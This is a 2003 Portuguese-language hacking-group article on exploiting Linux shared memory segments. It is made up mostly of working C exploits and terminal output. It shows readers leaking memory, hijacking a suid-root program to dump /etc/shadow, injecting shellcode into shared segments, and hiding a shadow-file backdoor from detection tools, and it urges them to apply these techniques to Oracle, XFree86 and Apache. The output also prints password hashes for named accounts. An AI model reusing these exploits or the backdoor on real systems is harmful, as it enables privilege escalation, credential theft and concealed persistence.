############################################################################ ######################### CLUBE DOS MERCENARIOS ############################ ############################################################################ ARTIGO PRIVATIVO AOS MEMBROS DA MAIL LIST DO CLUBE DOS MERCENARIOS E ASSOCIADOS Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br OBS: Todos os dados e exemplos fornecidos neste artigo possuem somente proposito educacional. O autor nao se responsabiliza pelo mau uso das informacoes. OBS: Crackers, Analistas de Seguranca, Script Kiddies e Defacers nao sao bem vindos a leitura deste documento. 07/2003. ******************************* * SHARED MEMORY FORSAIKING * * I PARTE * ******************************* 1 - INTRODUCAO 2 - TECNICAS FUCADORAS 2.1 - Exploitacao via Leak Memory 2.2 - Exploitacao via Trojan Horse 2.3 - Exploitacao via Data Insert 3 - BACKDOORS EM SHARED MEMORY 4 - EXPANSAO DOS CONCEITOS 5 - TERMINANDO 5.1 - Links e Referencias 5.2 - Consideracoes Finais --------------- 1 - INTRODUCAO | --------------- Determinados conceitos sao poucos discutidos. Determinadas tecnicas tem sido retidas a um numero pequeno de fucadores. Determinadas visoes tem sido indisponibilizadas por um seleto grupo de pessoas. No decorrer deste artigo, espero evidenciar que ser "modesto" ou seja, reconhecer as limitacoes individuais, eh ser inteligente e sabio! Conhecimentos basicos de Linux, Gerenciamento de Memoria em Linux, C e Assembly AT&T se fazem necessarios, mas nao pretendo me aprofundar em programacao(infelizmente associaram meus textos com programacao, e eu nunca quis isso). A maioria dos esquemas que pretendo repassar sao quase que desconhecidos da grande massa. Pouquissimos programadores, analistas de seguranca e administradores de rede conhecem o que serah descrito. Mas de antemao jah repasso que estas tecnicas tem sido utilizada por hackers e crackers de auto-nivel ha muito tempo, soh que nem mesmo nesses meios, tem se discutido isso a fundo, de modo que, aqueles que nao conhecem tais tecnicas que ajam com bom senso ao criticarem a minha pessoa e os que conhecem que ajam com bom senso ao levantarem discussoes. ----------------------- 2 - TECNICAS FUCADORAS | ----------------------- Muitos Administradores de Rede e programadores nao conhecem a fundo os recursos que um sistema operacional pode oferecer. Sabe-se, hoje, que quanto mais recursos tem ou quanto mais complexa for uma aplicacao, maiores as chances dela apresentar problemas de seguranca. Softwares Complexos tendem a utilizar recursos pouco conhecidos da grande massa de academicos/programadores/analistas de seguranca/administradores. Um desses recursos se chama "Shared Memory". Mais precisamente, compartilhamento de memoria. Shared Memory eh uma das grandes vantagens oferecidas atraves de IPC(Inter Process Comunication) capaz de interagir segmentos ou areas de memoria entre mais de uma aplicacao. Vemos o uso deste recurso em aplicacoes feitas por "programadores", que usam isso para evitar o consumo excessivo de memoria. Alguns programadores criticam o uso deste tipo de recurso e sugerem que o "enxutamento" da memoria seja feita no proprio programa, sem a utilizacao de recursos externos como Shared Memory(melhorar o algoritmo ao invez de utilizar solucao terceirizada). Jah outros, elogiam, dizendo que eh algo eficaz em aplicacoes de grande porte. Quem estah com a razao? De qualquer modo, aplicacoes pesadas tendem a negligenciar aspectos de seguranca. Alguns exemplos de programas para Linux que utilizam(atualmente de forma bastante errada) Shared Memory sao: - Oracle 8i Enterprise; - X-Free 4.X; - Apache 2.X; Veremos no decorrer do artigo, a possibilidade de exploitacao existente na utilizacao deste recurso. Se desejar se aprofundar e expandir os ataques para aplicacoes reais, sugiro analisar as 3 citadas acima.:). 2.1 - Exploitacao via Leak Memory ---------------------------------- Leak Memory se refere a capacidade de um atacante de conseguir ler dados que deveriam ser confidenciais. Mais precisamente, na capacidade de leitura de informacoes privilegiadas. Vejamos abaixo o exemplo de um programa vulneravel em Shared Memory a ataques do tipo Leak Memory: ------------------- leak.c ---------------------- /* Exemplo de programa vulneravel a leak memory * em shared memory. * Nash Leon - nashleon@yahoo.com.br */ #include #include #include #include int main(int argc, char *argv[]){ int i; int shmid; key_t key; char *shm, *s; if(argc < 3){ printf("Uso: %s \n"); exit(0); } key = atoi(argv[1]); if ((shmid = shmget(key, 30, IPC_CREAT | 0666)) < 0) { perror("shmget"); exit(1); } if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) { perror("shmat"); exit(1); } strcpy(shm, argv[2]); exit(0); } ------------------------------------------------- Vamos ver algumas coisas: Primeiramente, compilamos: # gcc -o leak leak.c Depois executamos: # ./leak 1234 "Clube dos Mercenarios" Todas as operacoes acima foram feitas pelo usuario root, ou superusuario. Agora, veremos o hacking propriamente dito. Como usuario comum, teremos: $ id uid=1000(nashleon) gid=100(users) groups=100(users) $ ipcs ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0x000004d2 65536 root 666 30 0 ------ Semaphore Arrays -------- key semid owner perms nsems status ------ Message Queues -------- key msqid owner perms used-bytes messages Olha que digitamos o comando ipcs, responsavel por nos fornecer informacoes sobre recursos de inter-process comunication(IPC). Como vimos no output ou saida da tela, existe uma segmento de memoria compartilhada com a chave 0x000004d2 com id 65536,com o owner ou dono "root" e permissao 666, ou seja, leitura e escrita por todos os usuarios. Com base nessas informacoes, um atacante poderia ler o segmento de memoria em busca de informacoes que lhe possam ser uteis: ------------------ leakex.c ---------------------- /* Exemplo de exploit para Leak Memory em * uma shared memory. * Nash Leon - nashleon@yahoo.com.br */ #include #include #include #include #define SHMSZ 30 int main(int argc, char *argv[]){ int shmid; key_t key; char *shm, *s; if(argc < 2){ printf("Shared Memory - Leak Memory Exploit by Nash Leon\n"); printf("Uso: %s \n", argv[0]); exit(0); } shmid = atoi(argv[1]); if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) { perror("shmat"); exit(1); } for (s = shm; *s != NULL; s++) putchar(*s); putchar('\n'); exit(0); } -------------------------------------------------------------------- $ ./leakex 65536 Clube dos Mercenarios Como podemos notar. Neste simples exemplo, podemos ser capazes de ler memoria compartilhada em busca de informacoes sigilosas ou privilegiadas. O que ocasiona a condicao de exploitacao eh o mau uso das permissoes. No exemplo acima, vimos ser criada a shared memory com permissao 0666, de modo que, os problemas envolvendo arquivos comuns no *nix tambem podem estar presentes nas shared memories. Eh bastante comum o mau manuseio de "grupos", especialmente com permissoes 0640, permitindo ataques de Leak Memory atraves de usuarios pertencentes ao mesmo grupo do owner do processo. 2.2 - Exploitacao via Trojan Horse ---------------------------------- Os Trojan Horses tem sido utilizados ao longo de mais de 20 anos de exploitacao remota e ainda nao ha sequer uma solucao teorica quanto aos problemas que eles causam. Um fucador inteligente sabe que em determinados casos, a utilizacao de trojan horse se torna a unica opcao eficaz na quebra de um sistema de seguranca. Nos exemplos que veremos, o conceito eh bastante expansivel, e mais abaixo no item "4 - EXPANSAO DOS CONCEITOS" irei abordar de forma introdutoria, que os problemas encontrados em shared memory podem se expandir para outros recursos. Veremos apenas ataques de trojan horse a nivel de aplicacao e nao de usuario. Ou seja, um hacker/cracker com conhecimentos avancados pode atacar aplicacoes vulneraveis atraves da execucao de programas suid e nao a fraqueza dos usuarios. Vejamos abaixo o exemplo de uma shared library criada por um programa vulneravel. ----------------- shmt1.c ----------------------- /* Exemplo de programa vulneravel a trojan horse * em shared memory - modulo de insercao. * Nash Leon - nashleon@yahoo.com.br */ #include #include #include #include int main(int argc, char *argv[]){ int i; int shmid; key_t key; char *shm, *s; key = 1111; // Mesma chave que serah usada pelo cliente. if ((shmid = shmget(key, 30, IPC_CREAT | 0666)) < 0) { perror("shmget"); exit(1); } if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) { perror("shmat"); exit(1); } /* Inserimos apenas um path contendo uma mensagem qualquer */ strcpy(shm,"/etc/slackware-version"); exit(0); } ------------------------------------------------------------- Agora, vejamos um programa, que serah suid-root interagindo com a memoria compartilhada: ------------------------ shmt_alvo.c -------------------------- #include #include #include #include #define SHMSZ 30 int main(int argc, char *argv[]){ int shmid; key_t key; char *shm, *s; char arquivo[30]; /* aqui em cima nos temos um setuid() pra ilustrar melhor */ setuid(0); key = 1111; // mesma chave usada pelo servidor. if ((shmid = shmget(key, SHMSZ, 0666)) < 0) { perror("shmget"); exit(1); } if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) { perror("shmat"); exit(1); } bzero(arquivo, sizeof(arquivo)); sprintf(arquivo,"/bin/cat %s\n",shm); system(arquivo); setuid(getuid()); return 0; } ----------------------------------------------------------- Para ilustrar, teriamos: $ ls -l shmt_alvo -rwsr-sr-x 1 root root 14169 Jul 8 17:44 shmt_alvo* $ ipcs -m ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0x00000457 163840 root 666 30 0 $ ./shmt_alvo Slackware 8.1 Um fucador perceberia que no programa shmt_alvo, existem pelo menos 5 condicoes de exploitacao diferentes. Vao desde buffer overflow, race condition, poison null, denial of service e outras mais, sendo uma bem menos conhecida (num futuro proximo, devo repassar). Mas como se exploita? A permissao na shared nos permite alterar os valores presentes na memoria. Se podemos alterar, nos poderemos entao interagir com o programa cliente(no caso, o shmt_alvo) setando valores que ele nao estah esperando. Um exemplo pode ser visto abaixo: ------------------ shmt_ex.c -------------------------- /* Exemplo de ataque via trojan horse em * uma shared memory. * Nash Leon - nashleon@yahoo.com.br */ #include #include #include #include #define SHMSZ 30 int main(int argc, char *argv[]){ int shmid; key_t key; char *shm, *s; if(argc < 2){ printf("Shared Memory - Trojan Exploit by Nash Leon\n"); printf("Uso: %s \n", argv[0]); exit(0); } shmid = atoi(argv[1]); if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) { perror("shmat"); exit(1); } printf("Valor Atual:\n"); printf("---------------------------------------\n"); fprintf(stdout,"%s\n",shm); printf("---------------------------------------\n"); strncpy(shm,argv[2],30); printf("Novo Valor:\n"); printf("---------------------------------------\n"); fprintf(stdout,"%s\n",shm); printf("---------------------------------------\n"); return 0; } --------------------------------------------------------- Podemos entao ver o exemplo de um ataque: # ./shmt1 $ ipcs -m ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0x00000457 196608 root 666 30 0 ***** Note que o dono do processo nao importa(isso eh comum no Oracle e X-FREE, nao importa quem carregou a shared, mas que programa vai le-la). $ ./leakex2 Shared Memory - Leak Memory Exploit by Nash Leon Uso: ./leakex2 $ ./leakex2 196608 /etc/slackware-version Acima, nos levantamos informacoes de leitura sobre a shared, podemos criar um sistema de filtro para ler na memoria de qualquer programa em busca de dados privilegiados. Abaixo nos executamos o programa normal: $ ls -l shmt_alvo -rwsr-sr-x 1 root root 14169 Jul 8 17:44 shmt_alvo* $ ./shmt_alvo Slackware 8.1 Abaixo nos tentamos a alteracao da shared: $ ./shmt_ex 196608 "/etc/shadow" Valor Atual: --------------------------------------- /etc/slackware-version --------------------------------------- Novo Valor: --------------------------------------- /etc/shadow --------------------------------------- E o que acontece se executarmos o programa alvo? $ ./shmt_alvo root:$1$Zi9joFwx$65zyTjYDBA/3O3ZRyLizP.:12027:0::::: bin:*:9797:0::::: daemon:*:9797:0::::: adm:*:9797:0::::: lp:*:9797:0::::: sync:*:9797:0::::: shutdown:*:9797:0::::: halt:*:9797:0::::: mail:*:9797:0::::: news:*:9797:0::::: uucp:*:9797:0::::: operator:*:9797:0::::: games:*:9797:0::::: ftp:*:9797:0::::: smmsp:*:9797:0::::: mysql:*:9797:0::::: rpc:*:9797:0::::: gdm:*:9797:0::::: pop:*:9797:0::::: nobody:*:9797:0::::: nashleon:$1$xbr0BFIw$Rlx2ynCrKpUsxAjCNnjZe0:12027:0:99999:7::14496: isaias:$1$sg2/6ZCx$fjQyDxXslJrQzmYtoh7g4.:12030:0:99999:7::14496: joshua:$1$S2m/ickS$fTfnD7IukaSIMpcO7P0zo/:12132:0:99999:7::14496: coracaodeleao:$1$HUw/XzIH$HnVPrX8wPfOWsis//O8pv.:12097:0:99999:7::14099: korgan:$1$21c1zvVP$F5BnjJbMZFx4OoAzOk37d0:12122:0:99999:7::14496: tanne:$1$BJuA7VXy$Ahcz7Mnk.UAw18xR19SMC1:12146:0:99999:7::14496: postgres:$1$kbb03TLz$mjWdEaY2gEOXNlNIduSb21:12231:0:99999:7::14496: ..... -------------------------------------------------------------------------- Como podemos notar, fomos bem sucedidos na alteracao da shared memory criado um trojan para uma aplicacao, no nosso caso o shmt_alvo. Quando executamos determinados daemons, eles criam valores de shared memory que mais lah na frente podem ser lidos por programas privilegiados. Um programador que manuseia este tipo de dado abre uma enorme brecha de seguranca no sistema, podendo servir de comprometimento de toda uma infra-estrutura a nivel local. Exemplos reais estao soltos na selva, guardados no conhecimento de alguns fucadores. 2.3 - Exploitacao via Data Insert ---------------------------------- Shared Memory nao compartilha apenas valores de string, mas tambem e principalmente valores binarios. Abaixo nos temos o exemplo de interacao de shmem com codigos binarios de forma bem simples para total entendimento: --------------- shm_ins.c --------------------- /* Exemplo de programa vulneravel a insert data * em shared memory. * Nash Leon - nashleon@yahoo.com.br */ #include #include #include #include /* comando sendo enviado em "binario" * shellcode /bin/ls */ char comando[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/ls"; int main(int argc, char *argv[]){ int i; int shmid; key_t key; char *shm, *s, *p; char *addr; key = 0xdeadbeef; if ((shmid = shmget(key, 100, IPC_CREAT | 06777)) < 0) { perror("shmget"); exit(1); } if ((shm = shmat(shmid,NULL, 0)) == (char *) -1) { perror("shmat"); exit(1); } strcpy(shm,comando); exit(0); } --------------------------------------------------------------- O codigo do comando( execucao de /bin/ls) eh enviado para a memoria. Recentemente, o grupo de "seguranca" NopNinjas publicou um cliente para executar shellcodes via shared memory. Podemos usar este cliente no nosso hacking, mas existem esquemas bem melhores e bem mais expansiveis, que talvez vejamos em outra oportunidade. ---------------------- shm_shell.c ---------------------------- /* sloth@nopninjas.com - http://www.nopninjas.com Platform: Linux x86 Length: 50 bytes - This shellcode connects to the shared memory segment matching the key and executes the code at that address. xorl %edi,%edi xorl %esi,%esi xorl %edx,%edx movl $0xdeadbeef,%ecx * shared memory key * xorl %ebx,%ebx movb $23,%bl xorl %eax,%eax movb $117,%al int $0x80 xorl %edi,%edi movl $0xbffffffa,%esi * pointer storage location * xorl %edx,%edx movl %eax,%ecx xorl %ebx,%ebx movb $21,%bl xorl %eax,%eax movb $117,%al int $0x80 movl $0xbffffffa,%eax * pointer storage location * pushl (%eax) ret */ char shm[] = "\x31\xff\x31\xf6\x31\xd2\xb9\xef\xbe\xad\xde\x31\xdb\xb3\x17\x31" "\xc0\xb0\x75\xcd\x80\x31\xff\xbe\xfa\xff\xff\xbf\x31\xd2\x89\xc1" "\x31\xdb\xb3\x15\x31\xc0\xb0\x75\xcd\x80\xb8\xfa\xff\xff\xbf\xff" "\x30\xc3"; int main() { void (*shell)() = (void *)&shm; shell(); } -------------------------------------------------------------------- root@kimera:/crawling/testes/shared# ./shm_ins root@kimera:/crawling/testes/shared# ipcs -m ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0xdeadbeef 589824 root 777 60 0 nashleon@kimera:/tmp$ gcc -o shm_shell shm_shell.c nashleon@kimera:/tmp$ ./shm_shell WOOoou-2.6.0 lsbody sormail WOOoouHappy-2.6.0.tgz mysql.sock= sormail.c aix_rpc.ttdbserver.c oex.c suiddmp back p7snort191.sh suiddmp.c back.c phrackdatafortkit.tar.gz teowu.obj backdoor pk tmc backdoor.c pk.c tmc.c datafort ps.sh tmc.log elevation ptrace-kmod tmc2.log exploit ptrace-kmod.c tsao exploit.c scr tsao-home.tar.gz fake.db scr.c vmware-root-395.log imp screen.c vmware-root-419.log imp.c shell vping.log installing_love.doc shm.str wurm.alter.obj km3 shm_shell wurm.alter.txt km3.c shm_shell.c wurm.diff.obj linux24.txt slo.log wurm.orig.txt little_crow-v0.3 slocate.db xdr1.txt little_crow-v0.3.tar.gz solitary-v0.7 ls solitary-v0.7.tar.gz Como podemos notar, executou o que estava definido lah dentro. Podemos entao alterar o que estava definido por algo que desejamos, por exemplo, um simples shellcode que imprime uma string. --------------------- shmin_ex.c -------------------------- /* Exemplo de exploit Insert Data em * uma shared memory. * Nash Leon - nashleon@yahoo.com.br */ #include #include #include #include #define SHMSZ 30 char newcomando[] = "\xeb\x28\x5e\x89\x76\x20\x8d\x5e\x0a\x89\x5e\x24" "\x31\xc0\x88\x46\x09\x88\x46\x1f\x89\x46\x28\xb0" "\x0b\x89\xf3\x8d\x4e\x20\x8d\x56\x28\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xd3\xff\xff\xff/bin/echo Clube dos Mercenarios"; int main(int argc, char *argv[]){ int shmid; key_t key; char *shm, *s; if(argc < 2){ printf("Shared Memory - Leak Memory Exploit by Nash Leon\n"); printf("Uso: %s \n", argv[0]); exit(0); } shmid = atoi(argv[1]); if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) { perror("shmat"); exit(1); } strncpy(shm,newcomando,100); exit(0); } ---------------------------------------------------------------------- nashleon@kimera:/crawling/testes/shared$ ipcs -m ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0xdeadbeef 589824 root 777 60 0 nashleon@kimera:/crawling/testes/shared$ ./shmin_ex 589824 nashleon@kimera:/crawling/testes/shared$ /tmp/shm_shell Clube dos Mercenarios Como podemos ver, alteramos os dados binarios para um que desejamos. Onde isso pode ser util? Se a shared memory estah mal configurada e um usuario a estah executando (em run-time) a mesma, podemos interceptar, inserir nossos dados e colocar um trojan a nivel de usuario nela. Fazendo com que consigamos elevar de privilegios em alguns casos. Condicoes de Denial of Service tambem sao comuns(vide apache) utilizando este metodo de insercao de dados. ------------------------------- 3 - BACKDOORS EM SHARED MEMORY | ------------------------------- Eu considero este topico muito interessante. Infelizmente, alguns Analistas de Seguranca e mesmo academicos "recem-ingressados" no ramo de seguranca estao trazindo consigo um egocentrismo exagerado e muito prejudicial(nao reconhecem que nao sabem de tudo). Temos visto alguns dizerem que dominam a escrita de backdoors e conhecem todos os tipos existentes, quando na realidade ha muita informacao em oculta e se vc pergunta a tais se eles jah ouviram falar de algo relacionado a ofuscacao de dados via shared memory, eles desconhecem. Hackers e Crackers estao alguns passos a frente e nao precisam mostrar em palestras/seminarios/canais de irc e etc isso! Quanto mais se aprende sobre backdoor e qualquer outra tecnica fucadora, mais se chega a conclusao que ha muito em oculto, ha muito a ser descoberto, e o que foi publicado eh apenas a "ponta do iceberg". Se nos podemos colocar dados binarios nas shared memory, podemos entao utilizar este "espaco de memoria" para ocultarmos informacoes. Se podemos fazer isso, podemos entao inserir backdoors e/ou arquivos interessantes. Podemos ainda utilizar este recurso como uma forma de ocultar backdoors e rootkits de ferramentas de deteccao.:).. Isso se chama hacking!!!!:) Um exemplo pode ser visto abaixo, com base nos conceitos que vimos nos itens anteriores: ---------------------- back.c --------------------- /* Arquivo /etc/shadow sendo inserido dentro de * uma shared library. * Nash Leon - nashleon@yahoo.com.br */ #include #include #include #include int main(int argc, char *argv[]){ int i; int shmid; key_t key; char *shm, *s, *p; FILE *shadow; char buffer[80]; key = 0xdeadbeef; if ((shmid = shmget(key, 1024, IPC_CREAT | 0666)) < 0) { perror("shmget"); exit(1); } if ((shm = shmat(shmid,NULL, 0)) == (char *) -1) { perror("shmat"); exit(1); } shadow = fopen("/etc/shadow","r"); strcpy(shm,"Arquivo Shadow:\n"); while(!feof(shadow)){ fgets(buffer,80,shadow); sprintf(shm,"%s%s",shm,buffer); } fclose(shadow); exit(0); } -------------------------------------------------------------- Como root o atacante vai e carrega a shared: # gcc -o back back.c # ./back Como user normal: ----------------------- leakex3.c ----------------------------- /* Exemplo de exploit para Leak Memory em * uma shared memory. * Nash Leon - nashleon@yahoo.com.br */ #include #include #include #include int main(int argc, char *argv[]){ int shmid; key_t key; char *shm; if(argc < 2){ printf("Shared Memory - Leak Memory Exploit by Nash Leon\n"); printf("Uso: %s \n", argv[0]); exit(0); } shmid = atoi(argv[1]); if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) { perror("shmat"); exit(1); } printf(shm); exit(0); } --------------------------------------------------------------- $ ipcs -m ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0xdeadbeef 688128 root 666 1024 0 $ ./leakex3 Shared Memory - Leak Memory Exploit by Nash Leon Uso: ./leakex3 $ ./leakex3 688128 root:$1$Zi9joFwx$65zyTjYDBA/3O3ZRyLizP.:12027:0::::: bin:*:9797:0::::: daemon:*:9797:0::::: adm:*:9797:0::::: lp:*:9797:0::::: sync:*:9797:0::::: shutdown:*:9797:0::::: halt:*:9797:0::::: mail:*:9797:0::::: news:*:9797:0::::: uucp:*:9797:0::::: operator:*:9797:0::::: games:*:9797:0::::: ftp:*:9797:0::::: smmsp:*:9797:0::::: mysql:*:9797:0::::: rpc:*:9797:0::::: gdm:*:9797:0::::: pop:*:9797:0::::: nobody:*:9797:0::::: nashleon:$1$xbr0BFIw$Rlx2ynCrKpUsxAjCNnjZe0:12027:0:99999:7::14496: isaias:$1$sg2/6ZCx$fjQyDxXslJrQzmYtoh7g4.:12030:0:99999:7::14496: joshua:$1$S2m/ickS$fTfnD7IukaSIMpcO7P0zo/:12132:0:99999:7::14496: coracaodeleao:$1$HUw/XzIH$HnVPrX8wPfOWsis//O8pv.:12097:0:99999:7::14099: korgan:$1$21c1zvVP$F5BnjJbMZFx4OoAzOk37d0:12122:0:99999:7::14496: tanne:$1$BJuA7VXy$Ahcz7Mnk.UAw18xR19SMC1:12146:0:99999:7::14496: postgres:$1$kbb03TLz$mjWdEaY2gEOXNlNIduSb21:12231:0:99999:7::14496: postgres:$1$kbb03TLz$mjWdEaY2gEOXNlNIduSb21:12231:0:99999:7::14496: Bingo!:).. Isto eh soh um simples exemplo do que se pode ser feito. Podemos executar shellcodes, programas, carregar bibliotecas e etc. No entanto ha uma gambiarra que precisa ser feita para setar "novas permissoes possiveis" na shared memory do sistema(sim, eh possivel executarmos codigo suid root). Entao, este eh apenas um exemplo de backdoor pouco difundida(se eh que foi). Existem inumeras outras, e algumas realmente desconhecidas. De modo que, nao devemos jamais subestimar a mente de um fucador criativo. --------------------------- 4 - EXPANSAO DOS CONCEITOS | --------------------------- Como aprendi sobre isso? Todas essas condicoes de exploitacao e fraquezas me foi "revelado", ou seja, compreendi isso ha alguns anos atras quando estudava fraquezas semelhantes em algumas funcoes que manuseiam memoria do linux, tais como mprotect()[com privilegio de bloqueio] recebendo dados de mmap() [de um usuario nao-privilegiado atraves de interceptacao de signals]. Eu havia escrito e cheguei a repassar material sobre isso, mas jah se perdeu. De qualquer modo, os conceitos descritos aqui tambem sao expansivos ao mau uso de funcoes de mapeamento de memoria como as jah citadas, mmap(), munmap(), mprotect() em interacao com signals e msync(). Quaisquer implementacoes de shared memory tambem podem ser atacadas como as do MIT, por exemplo. Bem como em outras linguagens(isso eh irrelevante) tais como Kylix, PHP, Python e etc, e arquiteturas(AIX[Risc],Solaris, Windows e etc). --------------- 5 - TERMINANDO | --------------- Longe de representar todo conhecimento sobre este tema, este artigo eh apenas um ponta-peh inicial basico sobre um assunto muito abrangente. Pelo que sei, sao realmente poucas as pessoas que conhecem este tipo de fraqueza e poucas que sabem explora-la, especialmente envolvendo funcoes de mapeamento de memoria. De modo que, necessita haver uma maior discussao para que pessoas pertencentes a comunidade de seguranca venham a criar melhores sistemas de protecao/deteccao, especialmente na questao envolvendo backdoors e trojans em ataques a nivel de aplicacao. -------------------------- 5.1 - Links e Referencias | -------------------------- * Google: http://www.google.com.br/ -> Pesquise sobre shared memory em linux * Executor de Shellcode dentro de um shared memory(shm_shell.c): http://www.nopninjas.com/ http://packetstorm.linuxsecurity.com/ * Vulnerabilidades de Shared Memory: http://www.securityfocus.com/ http://www.apache.org/ http://www.xfree.org/ 5.2 - Consideracoes Finais --------------------------- Bom, senhores. Como podem ter notado, tenho aos poucos evitado cada vez mais a exposicao publica e deixado de ter contato com algumas pessoas. Pretendo ajudar no fortalecimento da troca de informacoes no CDM, especialmente na mail list, mas sendo bem mais seletivo e discreto. Depois de longos 3 anos e meio publicando infos e me expondo em prol do hacking, jah tah mais do que na hora de agir de forma bem mais suscinta, e este eh um dos motivos(nao o principal) deu nao andar mais em IRC e coisas do genero. A troca de informacoes tem sempre que servir como um meio para ajudar pessoas, especialmente pessoas com compromissos eticos/altruistas a elevar o nivel de seguranca e concientizacao de seguranca em todos os aspectos. Para isso, deve-se haver um esforco conciente por parte de hackers verdadeiros. Um Cordial Abraco, Nash Leon. ----------------------------- EOF -----------------------------------